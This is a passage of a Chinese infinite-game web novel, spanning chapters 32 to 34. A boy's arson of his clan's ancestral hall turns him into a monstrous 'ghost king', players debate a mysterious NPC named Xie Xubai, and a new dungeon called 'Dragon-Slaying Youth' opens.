再然后他来到河的上游,因为上面是瀑布,这里的水面没有完全结冰,水流相当湍急,也是看守巡逻的必经之路。等到手电筒的灯快照过来的时候,孩童陡然大叫:“救命啊!放开我!!” 同时他把手里的“稻草人往河里一扔。 黑夜和密密匝匝的树影成了最好的伪装,哪怕有手电筒,一时间也看不清楚河边的全貌。从看守的角度看过去,就是孩童和谁起了争执,最后被大力推下河。 “快来啊,大少爷掉进河里了!” 听到这声慌张焦急的叫喊,附近所有的看守全都被叫了过去。 孩童趁机跑走,半点都没有耽误。他知道自己的时间有限,所以在跑进江家祠堂的那一刻,径直拿起桌子上的油灯。 期间,孩童还特意大喊了两声。 “有人吗!大少爷掉进河里了!” 确定祠堂里没人回应之后,他才看向江家列祖列宗的牌位,那些黑暗残酷的往事也如走马灯一样闪现,致使孩童脸色扭曲,愤恨至极。 “你们的规矩害得吴爷爷不能下山看病,害死那么多人,早该被废除了。从今天开始,一切都结束了,江家人不会再遵守你们的规矩!” 最后一个字落下时,孩童仿佛想起昔日在电视里看到的大侠英姿,一把火烧掉所有的罪恶。 他看了看手里的油灯,橘红色的火焰散发着炙热的光,终是咬了咬牙,将它砸在江家牌位上。 灯盏应声而碎,油泼满桌上的大红色布帛,火星四溅。 火势变大不过呼吸间,先是布帛上被烧穿一个焦黑的小洞,随后拇指大小的火焰顺着边沿一路朝外,点燃整张木桌,化作熊熊大火。 可孩童仍然觉得不够,这样烧太慢。他顶着浓烟和持续上升的高温,从挂壁上又端下几盏油灯,将里面的油尽数泼洒在地板上! 当孩童做完这一切的时候,火已经顺着油迹舔舐到他的鞋尖。 而他就像脱力一般,望着凶猛的火焰,呆呆地站在原地,手脚发虚。 顺着湍急的河水捞起一个稻草人的看守们,也终于反应过来自己被骗了,跑回来就看到一个被点燃的江家祠堂,而孩童几乎被淹没在火海中。 所有人登时吓得六神无主,有人反应过来,急急忙忙冲进去将孩童抱走。 “糟了,祠堂里面好像还有人!” “是被钉入棺材里的那两个罪人?” “火势太大来不及了,走吧!赶快叫其他人来救火!” 什么? 被看守夹在臂弯的孩童猝然回神。 他在颠簸中拼命扭过头,瞪大眼睛看向燃烧的江家祠堂。滚滚黑烟直冲云霄,半边夜色被染得通红,极致的高温让空气变得扭曲,被烧毁的房梁轰然倒塌。 烈焰中传来隐隐约约的惨叫,刺耳尖锐,不是一道是两道。 那两个夜里偷情,不知道被江家主关在哪里的人,他们就在里面。 “救他们啊!”孩童尖叫。 可他的叫喊声,只引来看守们痛恨的目光。 有人忍不住揪住少年的衣襟,双眼红得滴血,看起来很想扇他一巴掌:“你知不知道你给大家惹来多么大的麻烦!一旦家主追责——” 他的话戛然而止,脸上的愤恨被恐惧所替代,和其他人一样视线缓缓抬高,瞪大眼睛,嘴唇哆哆嗦嗦。 他们在孩童的身上,看到了让自己毕生都难忘的东西。 “那、那是什么鬼东西?大少爷他——” “难道说江家的列祖列宗选定大少爷,为什么?因为大少爷烧了祠堂!?” 而对孩童来说,他什么都听不到了。 ——我明明喊过的,为什么祠堂里还有人。他们没听到我的声音? 周围的嘈杂声如潮水般远去,孩童的脑子嗡嗡炸响。他死死地盯着大火弥漫的江家祠堂,仿佛能看到那两道挣扎不能的身影。 ——我都做了些什么啊? 孩童忍不住哭泣,哭声细小,却振聋发聩。 那一刻他的绝望和悲痛,仿若跨过亢长的时间河流,如惊涛骇浪般席卷上江凯乐的心头。 “我……原来我……” 江凯乐终于想明白了。 为什么江家大部分人都那么害怕自己?为什么江家主会理所当然地认为,他能狠得下心去杀人? 原来,那是他早已做过的事情啊。 江凯乐看着自己的双手,仿佛能看见上面染满无辜者的鲜血,他的手剧烈抖动个不停。 杀害无辜者的他,还能被称为大侠吗? 他当年放火放得肆无忌惮,胸腔里的这颗心脏又真的干净吗?还有资格说自己有一颗仁善之心吗? 要是老师知道他曾经做过什么,还会觉得他是个好孩子吗? 哀莫大于心死。 少年向往正义的心,此刻终于被无限的绝望所染黑,他的瞳孔一点点失去光彩。 在场没人能看见,腐朽的黑暗气息从江凯乐身上弥漫开来,逐渐浸入牢房中的抢劫犯。 犯人的身体剧烈一抖,浑身肌肉就像充气球般疯狂膨胀,捆住他的绳索不堪受力,寸寸崩断。 他在众人的惊呼中站起身,眼睛外凸,神色贪婪,披头散发的面孔更显狰狞,双手抓住铁栏杆,“咔吱——”一声,竟然徒手将拇指粗的栏杆直接掰弯! 随后他,不,应该称之为它,冲着众人张开血盆大口,发出震耳欲聋的咆哮:“吼!” 抢劫犯变成怪物了?这怎么可能! 异变发生在电光火石之间,众人来不及尖叫,就看见怪物一跃而起,直接扑倒最近的管家,尖锐的獠牙刺穿喉管,鲜血四溅! 再一秒,怪物看向就近的江凯乐。 江凯乐猛然回神,浑身冒冷汗,第一反应是捡起地上的刀。 可在这个过程中,怪物不仅没有攻击他,反而乖巧地等在原地,用外凸畸形的眼珠子一瞬不眨地盯着他,仿佛在等待他的指令。 江凯乐的手再次一抖。 他看着怪物的眼睛,终于从里面品出一个词,叫臣服。 可是怪物怎么会臣服于人? 江凯乐低头看着手里的刀,冰冷的金属表面像一面镜子,映照出他猩红的眸眼。 刹那间,绝望和荒谬感再次笼罩在江凯乐的身上,犹如千斤巨石,几乎把他单薄的肩膀压垮。 “还说自己是个坏人,罪人。” 江凯乐张开嘴,缓缓挤出一个比哭还难看的笑。 “……到底从什么时候开始,连人都不算了啊?” 另一边,谢叙白手里拿着吕向财托人带进江家的枪,指向挡在面前的保镖,逼迫他们让路。 这些大块头很不好对付,谢叙白也不敢耽误,只要有人挡在自己的面前,直接就是一枪! 子弹打不到人身上,却能唬得他们东逃西窜,谢叙白便趁机加快速度。 同一时间,本来模糊不清的念白在他的脑海里逐渐清晰。 【那个孩子有很严重的洁癖,一身定制西装时刻保持着纤尘不染,干干净净。 我问过他是什么原因,他说觉得江家太脏,自己也脏,忍不住就想要洗干净。有时候发作起来,能将自己的手搓破皮。 看他这么厌恶自己,我便经常突发性和他击掌,他总不好当着我的面去洗手,因为我会浮夸大喊“哇,你嫌弃老师呀?”如此三番,他终于无奈地忍住了洁癖。】 【他爱打抱不平,梦想是仗剑天涯,行侠仗义。但是江家人的利己思想、毒辣手段,总让他觉得自己早晚会成为一个刽子手,很不自信。 我开始想方设法带他去社区做义工,去红十字会当志愿者,将老管家派来监视的人视作空气。 当收到别人真挚的感谢时,少年总会忍不住露出开心的笑。】 【他会冷着脸扶起摔倒的女佣,尽管女佣将他视为怪物。也会撑伞为摇晃的树苗遮雨,把它视作江家的自己。 我就鼓励他,让他和江家的下人接触,一部分是为了化解偏见,另一部分是想要少年学会与人交流。 每当他成功和一个人交谈五分钟,我会大力夸奖他,把他夸得飘飘然。于是他开始主动心平气和地与人沟通,而不是拳脚相加,逼迫别人只能畏惧地看向他。 我还买来一些肥料,和少年一起培育小树苗,每天给树苗量身高。哪怕树苗长高一厘米,少年都会兴奋地大叫。他的笑容越来越多,焕发着光彩。】 【我以为,一切已经变好。】 谢叙白没有理会脑子里的念白,目不斜视,紧蹙眉头,一股脑地往前跑。 尽管方向只有一个,但岔路有很多条,他一路逼问知情的下人,终于来到陵园附近。 他同时发觉,路过遇到的人都变得很不对劲,那些人的目光迟滞,眼神涣散,就像突然丢了魂的木偶,呆站在原地。 谢叙白的心一寸寸地沉下去。 陵园门口有看守,但没人会再拦着他,因为他们已经变成了“木头”。 谢叙白嗅到了浓烈恶臭的血腥味,从敞开的地牢入口弥漫到地上,他捏住枪,毫不犹豫地跳进去。 念白还在继续,像早已被设定好的程序,冰冷无情。 【……直到那天晚上,他手里无力地攥着把滴血的刀,脚下躺着具血肉模糊的尸体,满身灰和泥。】 谢叙白终于见到了江凯乐。 少年此时一身血污,地牢的灰沾在西服上,腿脚全是泥。污黑的血液顺着指尖滴在地板上,在死寂的牢房中格外清晰。 滴答、滴答…… 【他看见我跑来,竟痴痴地笑起来。】 听到脚步声的江凯乐缓缓抬头,眼里浮现着瘆人的猩红血色。 他对上谢叙白颤动的瞳孔,终于一点点地咧开嘴,发出短促的笑声。 “老师。”江凯乐说,“放弃我吧。” 轰——! 顷刻间,浓郁的黑暗气息像雾霾一样急速扩散,形成汹涌的风暴冲向天花板。 墙壁粉碎,房屋摇晃,继剧烈的地震之后,整个江家的地界就像被按下终止键,倏然定格。 黑暗气息犹如伺机而动的猎人,攀上树木,恶臭弥漫。爬上砖瓦,裂痕蔓延。 处在其中的江家人浑身颤抖,身体同时发生不同程度的异化,张嘴发出难以抑制的嘶吼。 在它的侵蚀下,昔日平常的景物逐渐被渲染成诡谲阴郁的模样。 【叮,检测到该区域诞生A级“诡王”。】 就在这个时候,一只骨节分明的手冲进黑暗风暴,拽向猝不及防的江凯乐。 江凯乐不想看到谢叙白失望的眼神,更畏惧回答对方的任何问话,所以他龟缩在风暴里一动不动。 在他的控制下,黑暗气息不会侵染谢叙白半分,他也会在谢叙白昏倒后将人送出江家。 可万万没想到,谢叙白竟然破开黑雾,径直抓住了他的手腕。 “不。”谢叙白看着慌张无措的江凯乐,斩钉截铁地吐出一个字。 “说什么放弃,老师不允许!” 江凯乐瞳孔震颤。 话音刚落,黑暗气息毫无征兆地全面爆发,铺天盖地淹没月光下的大地,将江家地界彻底改头换面。 飓风呼啸,江凯乐有些不稳,震声道:“怎么回事,我没有——” 看着江凯乐震惊的眼神,谢叙白立马反应过来,这一次爆发显然不是由少年控制的,有无形的力量在作祟。 情急之下,谢叙白只来得及将少年护在怀中。 而在游戏空间的玩家们,也听到了那句让他们胆颤心惊的提示音。 【副本《屠龙少年》已生成,即将投入试炼。】 第32章 他是唯一的变数 犹如一石激起千层浪,玩家大厅瞬间爆发出激烈的唾骂和怒吼声。 “开什么玩笑,又是A级诡王副本?” “从来没有这样的先例,说不是暗箱操作谁信!” “系统我日你#*@@&……” 众所周知,A级诡王副本是当前难度最高的副本。 第一次副本,通关率不到十万分之一。它的出现残忍地打破所有玩家的侥幸心理——参与试炼不能保证全身而退,严重者甚至会变成疯子! 从此愿意参加首通试炼的玩家悬崖式骤降,赎回地球的重任惨遭滑铁卢。 在那之后约莫过去小半年,第二次A级诡王副本毫无征兆地开启,结果也是相当的惨烈。 ——参与玩家七万多人,最后顺利通关的竟然不满千人! 别看和第一次比起来,通关率似乎高上不少,要知道能坚持到现在去参与首通试炼的玩家,基本上都是经过重重试炼后筛选出来的精英,他们直接代表现有攻略组的中坚力量。 经此一败,七万多精英只剩寥寥几百人,玩家群体何止是元气大伤,那叫要命式腰斩! 如果说在这样一片愁云惨淡的氛围中,有什么值得让人高兴的事情,莫过于当前记录排行榜第一的大神成功通关《犬害》试炼。 全体玩家眼睁睁看着最高记录从【6】跳到【7】,登时热血沸腾。 离最终赎回地球所需的【10】只剩【3】,只要后面3个副本不是像A级诡王一样的逆天难度,那他们很有可能将迎来最终的曙光! 结果大家激动兴奋没多久,系统一个【A级诡王副本已生成】的全服广播,直接把所有玩家给砸懵了。 “天杀的,你们是不是根本没打算让我们赢?说啊!到底有什么目的直接摊开了说,别TM到最后来戏弄人!” 要不是系统没有实体,看不见摸不着,恐怕早已被怒发冲冠的玩家捶成烂泥。 事已至此,不管对赎回地球抱有希望的普通玩家崩溃成什么样子,通关试炼势在必行。 前线攻略组半点没耽误,在得知消息的三分钟内召开紧急会议,雷厉风行地安排人手进行各项数据分析。 这里不得不提一下游戏空间的区域划分。 首先是玩家大厅,不能使用技能和道具攻击他人,是绝对的安全区。 原本这里什么都没有,一些职业和工程建设挂钩的玩家发现,系统商店里竟然有售卖便宜的基础材料,便联合起来,着手建设这里的环境。 如今,这里俨然变成一个热闹繁华的超大型都市。商店、铁匠铺、药剂店、歌舞厅、交易市场等等生活建筑应有尽有。副本的登入登出口和玩家的重生点也在这里。 玩家没有攻略副本的大部分时间,都集中在玩家大厅,组队、交易或消遣放松,人流络绎不绝。 其次是直播大厅,只有首通试炼期间才能进入,对应的直播间功能也只有这个时间段才会开启。 再然后是私人区域,分为玩家的个人空间和公会领地,只有区域主人和得到权限的人方可进入。 攻略组邀请各大资深玩家参加的会议地点,定在【议会大厦】,其性质就是公会领地,可以使用自带的传送功能进入。 约莫十分钟,大家陆陆续续在议会大厦集合。 作为通关记录只有【1】的新手玩家,许清然万万没想到自己能受邀参与这种重要会议。 看见周围都是排行榜上赫赫有名的大佬玩家,她忐忑又拘谨,眼中带着说不出的敬佩。 正当这时,一道咄咄逼人的声音刺了过来:“前线攻略组是废了还是疯了,什么杂鱼玩家都往里面放?” 在场除了后勤人员,没有玩家的记录比许清然还低。 她立马反应过来这句嘲讽是在针对自己,循着声源看过去。 一个身穿黑色作训服的肌肉男抱臂坐在座位上,人高马大,壮得像座小山。 见许清然居然还敢和他对视,肌肉男当即眯了眯眼睛,视线充斥着骇人的凶光。 如果类比两人之间的气势差距,就像刚出社会的单纯大学生猝然撞见手上沾染几十条人命的杀人狂。 其他玩家作壁上观,都以为许清然会被吓到后退。 谁知道女孩抿抿嘴唇,竟梗着脖子恶狠狠地瞪了回去。 也是这时严岳站出来,不掩冰冷地说道:“项钧,我们公会的人还轮不到你来指手画脚。再说你一个【4】又能强到哪里去?” 名为项均的肌肉男脸皮一跳,肌肉鼓胀的身体前倾,看起来在发怒暴起的边缘。 忽然,圆桌正前方传来喊声,打断这剑拔弩张的气氛:“哎呀,哎呀!大家都是攻略组的战友,干什么把关系闹得这么僵,会议就快开始了,赶快都坐下来吧。” 在他旁边,还有一个五官端正颇具威严的男人,大概五十岁出头。 这个男人也是整场会议的牵头者,旋即撩开眼皮看向项均,不怒自威地道:“接下来我们要谈论的内容事关重大,如果有人不能心平气和地留在这里,那就请自己滚出去。” 项均视线飘忽,看起来有点慑于议会长的威严,但也没有罢休:“不管怎么样,前线攻略组承载着赎回地球的全部希望,这场会议不是【1】场小白可以参与的,你们必须给出一个邀请她的理由!” 他一说,坐在他旁边的人纷纷扬声应和。 其他势力成员也朝议会长投去狐疑的眼神。 议会长没卖关子,直接道:“因为她牵涉着一个至关重要的变数。” 项均不客气地追问:“什么变数?” “谢叙白。” 这三个字一出,场面立时陷入死一般的寂静。 少顷,项均的脸皮抽了抽:“哦,他们是运气好,遇上了那个特殊NPC,然后呢?这有什么大不了的?” 议会长静静看着他兀自逞强的样子:“我还是那句话,如果你不想听,可以出去。” “……”项均满脸阴郁地闭上嘴,终于消停。 严岳带着许清然等一众公会成员坐了下来,没几秒收到许清然的私信:【我是不是无意中惹到他了?会不会给公会添麻烦?】 严岳回头看向许清然不安的脸,摇了摇头。 他知道许清然现在估计对攻略组有点幻灭,本以为是志在拯救世界的先驱者,谁知道还有项均这样没事找事的家伙,组内气氛更称不上友好。 可现实就是这样残酷。 无限游戏没降临前,人和人的争端就没终止过,降临后秩序崩塌,更别指望人们能和平相处。 虽说在场玩家都是为了赎回地球聚集在这里,但玩家间有强弱划分,公会间存在激烈竞争。 每次直播开启时,单单抢夺直播热度就能引起一场血雨腥风。 项均这么针对许清然,估计就是觉得她一个新手玩家根本配不上首页的直播热度,心里嫉恨。 除他以外,恐怕还有不少人憋着酸水和不忿,只是没有当场表现出来罢了。 很快会议开始,因为任何关卡内容都无法用文本的形式记录或呈现,所以数据分析师们只能依靠脑力记忆,进行口述。 “今天我们重点讨论两个内容,其一便是大家耳熟能详的特殊NPC谢叙白。” “特殊点一,在《犬害》生成前,所有玩家的首通副本内容都完全一致,包括且不限于剧情、场景、NPC和BOSS等等,直到这次,竟然出现了一个前所未有的特例——” “他掌握着玩家所不知道的关键信息,能直接影响到BOSS的行动,可以说在整场试炼中有着举足轻重的地位,可他居然只存在于其中一个副本!” 数据分析师用激光笔在屏幕上写下个“唯一”。 这种不成句、不加上下文就不成意的钻空子描述,是不少分析师无数次试错研究出来的结果。 更多的就写不出来了,会被直接抹去。 “事后大部分玩家感到不忿,因为这名特殊NPC的出手,该场试炼玩家直接躺赢,他们觉得这是在作弊,闹得不可开交,以至于之后又发生一件让所有人瞠目结舌的事情——” “从来没理会过玩家意见的系统官方,居然给予了回应!” 说出这句话时,哪怕是一脸冷静的数据分析师,都忍不住激动地拔高音量:“不一样了啊,大家能感受到吗?!” 他对着屏幕挥动激光笔,摊手怒喝:“在这之前,我们只能被动地接受系统的操控和安排,质问没有回音,疑惑得不到解答,和关在笼子里的小白鼠根本没什么两样。” “而现在,系统居然回应了我们的不平!” “证明人类并非处于被绝对掌控的劣势地位。甚至有可能,我们和这场游戏本就是平级平等的对位,系统拒绝回应是不想让我们发现这一点,可如今,它终于顶不住暴露了!” 看到分析师雀跃的样子,没有玩家反驳或斥责他的失态。 大家已经压抑得太久,想要掀翻这场游戏的人不在少数。乃至于听到这番话后,跟着激动得眼眶通红。 “系统先是全服广播,强调试炼一定公平,随后在首通试炼结束后,将通关《犬害》的积分奖励直接发给所有玩家——注意是所有玩家,包括重生的新玩家!” “大部分人都非常开心,不用经历通关副本的痛苦就能得到积分,从哪儿再去找这种好事?却万万没想到,系统居然转头抹除掉本应该投入试炼池的《犬害》!” 分析师目光熠熠:“我们事后分析,有理由怀疑系统之所以给出丰厚到不现实的补偿,就是想以平衡公平性为手段,对《犬害》下手。” “再回过头去看,《犬害》副本里究竟有什么不一样的东西,能够引起系统的反常之举?” 分析师大手一挥,用力敲打屏幕上“唯一”的字样:“毫无疑问,那就是特殊NPC,谢叙白!” “他是这场游戏唯一的变数,或将成为所有玩家赢下游戏的希望!” 第33章 重逢于初见那天 听到希望两字,在场大部分玩家忍不住一脸动容,直到被人打断。 开口反驳的还是热衷挑事的项均:“先等等,话别说得太满。” “不说将人类的希望压在一个NPC身上有多荒唐,《犬害》副本已被系统销毁,包括这名NPC一起被炸得干干净净。” “我们去哪儿找他,这游戏里有给NPC建立的墓地或火葬场吗?” 见项均对谢叙白嗤之以鼻,许清然登时火气上涌,被旁边的严岳一把拉住。 分析师似乎早料到有人提出质疑,不改脸上的兴奋之色:“这就不得不提起谢叙白的第二个特殊点,他很大概率知道玩家的身份!” 霎时间场上一片哗然。众人七嘴八舌,议论纷纷,脸上满是不敢相信和质疑。 要知道研究组曾经做过无数次实验,最终遗憾证实游戏世界的真相受到系统的监控,NPC根本无法得知和玩家有关的一切。 可现在,这一条铁律竟然也被打破了? 有人忍不住问道:“得出这个推断的根据,难道是那名NPC最后的告别词?” 虽说当时全场攻略组玩家都在副本里,无从观看直播了解情况,但之后谢叙白的故事闹得沸沸扬扬,他们多少都听了一耳朵。 包括那句惹得无数玩家怦然心动的祝福语。 【祝你早日找到回家的路。】 “没错。”分析师笃定地道,“乍看这句话没什么问题,重点在许清然之前曾透露她家破人亡。既然家都已经没了,为什么还要祝她找到回家的路?这不是自相矛盾吗?” “为了验证猜想,我们花大量积分请到‘超忆刻录师’,通过三次回溯记忆反复辨别谢叙白在直播中的表情细节。最后他向我们保证,谢叙白绝对能够听懂玩家的所有对话!” 玩家代号“超忆刻录师”,拥有让无数玩家眼红的神级技能【记忆回溯】,为了不被清空记忆,迄今只参加过三场首通试炼,却能在实力总榜排上前十的知名大神级散人玩家。 他的保证断然真实可靠,没人会去质疑。 分析师激光笔一挥,写下“全知者”,并在旁边画下一个大大的问号。 “试问这样的BUG级存在,怎么可能被系统轻易抹杀?” 项均冷冷道:“但他所在的副本已经没了,这是事实。” 分析师微微一笑:“所以,我们要去其他副本里找他。” 在场玩家原以为他们听到的震撼消息已经足够多,谁知道后面还藏着这么一个重磅炸弹! 当即有人一跃而起,震声询问:“你想说副本之间存在互通性?可这个猜测不是老早就被打成了谣言吗?” 玩家对首通试炼感到无力和畏惧,最大的原因就是【未知】,只有副本名称能提供少到可怜的信息量。 如果副本真的存在互通性,那意味着他们或能够针对下一场试炼,提前定制好攻略。 就像灵异副本准备驱邪符、饥荒副本准备大量生存物品一样,有准备地迎敌,绝对比两眼一抹黑胜算更大。 其他人同样开始坐不住。 说到底,强调再多谢叙白的特殊之处,都不如此刻实实在在地告诉他们,“首通难度将大幅度降低”,更加激动人心。 “消息保真?没有开玩笑?” “这可是一个大发现啊!” 没兴奋多久,分析师忽然泼了他们一盆凉水:“不,这只是我们的推断。” 不等众人张口怒斥,分析师快言快语地道:“但很快,下一场首通试炼《屠龙少年》,就能够让我们验证它的真实性。” 说话的同时,他语速越来越快,激动得声音颤抖,面红耳赤。 “在我们的记忆中,从来没有两场A级诡王副本连着开启的先例,这何尝不是另一个规则被打破的讯号?我们完全可以大胆猜测,引起一切异常的谢叙白也将出现在下一个副本,并作为关键NPC存在。” “只要他出现,就能证实副本之间存在互通性,甚至有可能副本就是真实存在的世界!根据相关性规则,我们或许可以剖析副本成因,追溯到无限游戏的起源,到那时候——” “停停停!”眼看分析师的论点逐渐跑偏,众人连忙扬声打断。 有人眉头一皱,忽然发现一个关键问题,质问声冷若冰霜:“也就是说,我们本来可以不用连续经历两场A级诡王副本,但这名特殊NPC的出现却导致了这一切,是吗?” 此话一出,空气猝然死寂,原本热络的氛围瞬间冷却下来。 大部分攻略组玩家的笑容唰一下消失,脸色黑沉得可怕。 能够帮到玩家的NPC当然是他们的心头好,但要是会危害到玩家,那不就是他们的敌…… 就在此时,议会长插话道:“不一定是这名NPC引起的。” 他的声音沉着有力,很快吸引全场玩家朝他看过去。 议会长面向众人,目光凛冽:“无限游戏过去整整一年时间,我们经历的大小副本少说有二三十个,可直到今天,最高通关记录竟然只有【7】。” “大家抿心自问,我们的实力有这么差劲吗?实力总榜从上往下数,不乏有强到可以单挑A级诡王副本的神级玩家,他们就那么不小心,会一个接一个地在普通关卡里栽跟头?” “玩家的记忆被屡次清空,就连明哲保身的超忆刻录师都不止死过一次,导致整整三亿人拼不出这一年的全貌!” “谁能肯定我们真的只经历过一次A级诡王副本,谁又能保证系统不会在最后关头突然发难,连续开启A级、S级甚至是SS级诡王副本,以副本大失败为由来一场毁灭性的全民大清洗,让所有人失忆?” 议会长如鹰锐利的视线横扫下去,所有愤恨的人登时像被利爪扼住咽喉,气势一弱,悻悻偏头回避他的视线。 议会长一字一顿地说:“告诉我,谁能?” 没有人可以。 任何和通关有关的知识,都只能以口述的形式传播,玩家群体的沟通效率接近于无,更别提对接关键信息。 出一份调查问卷吗?怕是还没发出去就被系统给强制抹除。 组建一支调查团挨个问过去?不说人脑的记忆力有限,哪怕一人问十名玩家,那也需要三千万人! 三千万人聚集在一起七嘴八舌地分析情况,场面能混乱得像炸开的油锅。 何况人心本就不齐。 所有玩家在游戏开始的第一时间,不是联合起来商量该怎么办,而是以人种国家划分团体、圈出地盘,各洲之间泾渭分明。 会议室里的玩家,几乎都是中洲人。 议会长也曾试图联系其他洲国参与这次会议,结果和以前一样,要么消息石沉大海,要么被婉拒,那边根本不屑于和他们组建联盟。 如果记录【7】是他们中洲国的人,那些人还敢这么甩脸色? 议会长揉了揉眉心:“不管怎么样,这么长时间我们好不容易再次拥有记录【6】,一定要维持下去,拼上一切攻克这次的A级诡王副本。” “我在此宣布,包括前线攻略组在内的所有公益组织将让出50%的积分道具,全力支持记录【6】的玩家!如果副本不限制人数,攻略组的其他成员将作为‘死士’一同进本,不惜任何代价帮【6】探路试错!” 议会长在此时点名包括严岳在内的五个人,五大三粗的铁血汉子,倏然忍不住双眼通红。 他郑重其事地举手敬礼:“通关试炼责任重大,游戏的尽头是我们的……家。我知道任务艰巨,九死一生,但拜托你们了!” 五人连忙起身,或藏着私心沉默,或嚅嗫嘴唇一样情绪不稳,一时没有说话。 但最终,他们终是齐声说道:“一定全力以赴,不负所托。” 会议散场,许清然忽然说道:“议会长记录【0】,是不是没有参加上次首通试炼?” 没想到会被这么郑重地托付使命,严岳现在神色还有些恍惚。 他闻言,深深地吐出一口气:“对,但绝不是因为懦弱。” “他是议会长,前线攻略组的负责人,能够对接中洲区所有的公益组织和大部分公会,联络组织排行榜上近六成的资深玩家。” “可以说,谁的记忆都能被清空,唯独他不能。” 严岳看向许清然,沉声说道:“议会长之前的记录为【5】,当时很多人都盯着他,在这种情况下狠心弃权,比选择挑战副本更需要勇气。” 许清然:“有人骂他?” “何止。”严岳指了指左眼上方,“看到议会长脸上的那道疤没?他在自己的公会领地,被不理解他的自己人给砍的。” 许清然不敢置信,一阵恶寒。 “分析师说现在缺少谢叙白现身的大量数据,无法推断出规律,只能把希望压在我们这些曾经和他接触过的玩家身上。” 严岳说:“到时候我们的直播间会被重点关注,如果真的遇上谢叙白,一定要尽可能地从他身上挖掘信息,最好能刺激他情绪失控或动手,方便技术小队去分析解读他的行为。” 许清然倏然抬头,不敢相信地说:“用什么方法刺激他,难道要我们对他下手?” 她难免激动起来:“他救过我们的命,我们却要恩将仇报,有这样做人的吗?” 见严岳沉着脸没说话,许清然满脸怒容地转身离去,没听到前者忽然哑声道:“我当然不……” 他闭上嘴,点开玩家个人面板。 收到攻略组的资助后,上面的积分余额,已然暴增到一个普通玩家不敢想象的天文数字。 不仅如此,从刚才开始就有不少攻略组的成员加他好友,竞相自荐为他的“死士”,让严岳不要犹豫地榨干他们的价值。 他们不畏奉献自己的生命,只为了一个目的,帮严岳等记录【6】的玩家赢下胜利。 想起议会长热切的眼神,严岳有些无力,疲惫地后靠在议会大厦写着“人类永不言败”的立碑上,重重地叹上一口气。 ——他当然不会。 ——但其他四名记录【6】的玩家,就有三个像项均那样不把NPC当人看的暴徒,重赏之下,那三人会做出什么样的事情来,简直不敢想。 转瞬来到副本《屠龙少年》的开启时间,所有参与玩家严阵以待。 其他玩家也在直播大厅打开的一瞬间蜂拥而至,忐忑不安地守在屏幕前。 “一定可以赢的,对吧?” “这可是A级诡王副本,上回足足死掉六万人,太难了。” “严岳和许清然果然报名参加了副本,好好好,我倒要看看没有特殊NPC帮忙作弊,他们还能不能顺利通关。” “???有病吧,同为人类能不能盼点好的?” “我之前见攻略组发布公告,说那名叫谢叙白的特殊NPC很有可能会出现在这次副本中,呼吁所有观众一起帮忙寻找,报酬特别丰厚!” “你们说什么?我的老婆还活着?啊啊啊啊啊啊太棒了!” 别看谢叙白只是一个NPC,拥有的迷弟迷妹可不比热门主播少。 本以为偶像和副本一块被系统嘎掉,他们心如刀割,没想到还有机会再看见本人,登时欣喜若狂,高声欢呼。 一片叫囔声中,《屠龙少年》试炼终于正式开启。 …… 意识陷入混沌的谢叙白感觉一阵翻江倒海,强大的意志力让他没有就此昏迷过去。 他与汹涌的困意相抗,终于在某一刻猛然睁眼,坐在椅子上的身体惯性前倾,额头冷汗频出,浑身虚脱无力,大汗淋漓。 “哈啊,哈……!” 惨白的日光灯直照而下,很是晃眼。 办公桌外人影绰绰,和客户的通话声不断响起。穿着白领工装的职员在过道上来来回回,忙得脚不沾地。 谢叙白撑着桌子缓上好一会儿,抬头时,看见电脑屏幕上的信息处理软件,顿时微微睁大眼。 他有种如梦初醒的恍惚感。 “我在……公司?不对。” 谢叙白忽然想起昏迷前发生的一切,狠狠摇了摇脑袋,试图让自己快点清醒。 但再次睁眼时,看到的还是一样的场景。 忙碌的同事、种在门前的招财树、挤挤挨挨的工位,还有…… “你刚才是怎么了,突然窜起来,把我都吓了一跳。”吕向财凑过来,不掩狐疑。 谢叙白定定地看着吕向财,从这张脸上找不出一点虚假的痕迹。 他没有犹豫,用力地掐了自己一把。 很痛。 “不是梦,是幻觉?”谢叙白喃喃道。 吕向财看着他手臂上被拧出来的红印,再次被吓一大跳:“就算你有什么事情想不开也不能搞自残啊,快让我看看!” 谢叙白顿了顿,将手臂伸过去,目光深邃,仔细观察吕向财的反应。 后者显然心疼极了,竟不知道从哪儿掏出来一瓶红花油,欲要给他搓伤:“到底发生了什么事?你说出来,我帮你解决。” 除了比以前更紧张他的安危以外,好像没什么问题。 谢叙白赶在吕向财拧开瓶盖前收回手,淡淡地笑着道:“就是道印子,哪有这么严重?” “其实是我刚才睡懵了,脑子不太清醒,所以掐一下自己醒醒神。”谢叙白说道,“对了,你知不知道今天是几号?” “几号?”吕向财还真没注意这个,闻声去看电脑的显示日期。 也是这个时候,公司大门的方向忽然传来一阵惊呼声。 “那不是江家的大少爷吗?还开着一辆劳斯莱斯幻影!” 谢叙白心里一咯噔,瞬间回头起身,直勾勾地看过去。 只见人群围拥的大门口,一道瘦高的身影踱步而入。 少年手里捧着和当初别无二致的檀木锦盒,无论是价值不菲的着装,还是优雅从容的气质,都让他瞬间变成全场鹤立鸡群的存在。 同时吕向财的声音传入谢叙白的耳朵里:“今天13号。” 谢叙白闻声回神,皱了皱眉头,这就是他和江凯乐初次见面的时间。 难道说他穿越回了过去? 下一秒门口的少年抬头,精准地看向谢叙白所在的方位。 谢叙白似有所觉地和他对上眼,瞬间浑身冰凉。 那双眸子猩红似血,分明不是人的眼睛。 第34章 师生对着演 刹那间,痛悔的情绪排山倒海而来,几乎将谢叙白淹没。 可越是这种时候,他就越不能慌。 谢叙白用力掐着指尖稳住呼吸,再眨眼时,眼底一片清明。 ——这里不是他认知的过去。 在他的印象中,同一时间段5层以下的员工被全部辞退,吕向财在门口目送众人离去,而他也没在公司里办公,买完新手机后才姗姗来迟。 ——江凯乐变成诡王的事实没有逆转。 要么是诡王化的江凯乐和自己一起穿到平行世界的过去,要么,这里就是个因某种目的,而被塑造出来的假空间。 ——副本《屠龙少年》已开启。 想起昏迷时听到的系统机械声,谢叙白视线一暗。 诸多线索此时连接在一起,他几乎可以肯定,他们遇到的就是后一种情况。 思维快速转动的谢叙白,难免有些忽视周围的动向。 也是两秒后,他才倏然注意到,江凯乐眼里的猩红血色竟是消失了。 少年紧盯着他,一双眼睛不仅恢复到正常瞳色,还颤抖个不停。嘴巴翕动,缓缓做出口型,“老师”两字仿佛呼之欲出。 谢叙白见江凯乐的记忆没有受到影响,还能认出自己,怔愣后心中一喜,忍不住先喊出声:“江……” 扑通! 心跳毫无征兆地空了一拍。 紧跟着世界凝滞! 犹如正在播放的电影被按下暂停键,所有东西都突兀地僵在中途,变成静止的三维图像。 